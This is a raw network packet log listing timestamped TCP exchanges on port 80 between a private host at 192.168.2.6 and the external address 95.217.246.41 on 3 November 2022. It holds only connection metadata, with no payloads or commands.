Nov 3, 2022 12:47:18.824157000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824196100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824234962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824280977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824290991 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824290991 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824290991 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824290991 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824291945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824291945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824291945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824291945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824323893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824357033 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824366093 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824366093 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824388981 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824584961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824870110 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824913979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824954033 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824991941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.824996948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824996948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.824996948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825069904 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825134993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825181007 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825222015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825229883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825229883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825262070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825304031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825346947 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825345993 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825345993 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825387001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825428009 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825469017 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825476885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825510979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825476885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825476885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825551987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825594902 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825635910 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825674057 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825674057 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825674057 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825674057 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825678110 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825674057 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825721025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825762987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825803041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825840950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825844049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825844049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825881004 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825844049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825844049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825927973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.825982094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825982094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825982094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.825982094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826019049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826061010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826102972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826143980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826185942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826189995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826226950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826189995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826189995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826267004 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826309919 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826440096 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826446056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826479912 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826520920 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826446056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826446056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826446056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826446056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826561928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826602936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826646090 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826689959 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826730967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826803923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826807022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826845884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826807022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826807022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826807976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826807976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826807976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826807976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826807976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.826925039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.826967001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827009916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827027082 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.827027082 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.827027082 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.827044010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827075958 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827107906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827718019 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827759027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827789068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827820063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827850103 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827879906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827909946 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827939987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827969074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.827997923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828102112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828139067 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828170061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828210115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828231096 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828253031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828274012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828294992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828315973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828336954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828609943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828699112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828721046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828742027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828763008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828783989 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828804970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.828826904 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829075098 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829097986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829201937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829201937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829298019 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829349041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829380035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829407930 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829435110 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829452038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829452038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829452038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829488993 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829508066 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829535961 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829554081 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829562902 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829569101 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829591990 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829596043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829621077 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829627037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829648972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829657078 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829678059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829684019 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829705954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829715014 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829734087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829741001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829761982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829770088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829792023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829797029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829822063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829826117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829852104 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829859018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829881907 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829899073 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829909086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829917908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829941034 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829942942 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829971075 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.829977036 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.829999924 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830008984 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830027103 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830037117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830055952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830060959 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830085993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830094099 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830116987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830121994 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830144882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830152035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830173969 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830180883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830202103 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830229044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830257893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830262899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830262899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830315113 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830341101 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830341101 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830394983 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830503941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830533028 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830558062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830560923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830580950 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830590010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830605984 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830620050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830636024 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830648899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830667019 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830676079 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830692053 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830703974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830717087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830733061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830749035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830761909 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830776930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830789089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830805063 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830817938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830835104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830846071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830863953 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830893993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830909967 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830960035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.830979109 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.830987930 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831007957 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831018925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831037045 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831047058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831062078 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831074953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831099987 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831103086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831130981 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831159115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831160069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831160069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831187963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831188917 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831188917 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831216097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831238031 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831245899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831262112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831274986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831295013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831301928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831319094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831331968 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.831345081 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.831406116 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.860925913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861069918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861311913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861355066 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861373901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861394882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861398935 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861437082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861438990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861476898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861736059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861777067 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861785889 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861816883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861819983 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861855030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861860037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861938000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861944914 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.861978054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.861983061 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862016916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862025976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862057924 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862060070 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862097979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862103939 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862135887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862138033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862175941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862179041 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862215996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862221003 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862255096 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862260103 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862294912 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862298012 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862334013 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862338066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862374067 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862377882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862413883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862420082 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862452984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862461090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862492085 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862497091 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862565994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862605095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862610102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862628937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862674952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862687111 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862714052 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862728119 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862752914 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862761974 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862792969 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862799883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862831116 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862853050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862874985 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862919092 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862955093 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.862962961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.862997055 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863008022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863034964 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863051891 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863075018 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863090992 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863114119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863126040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863153934 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863168001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863194942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863207102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863234043 CET	80	49708	95.217.246.41	192.168.2.6
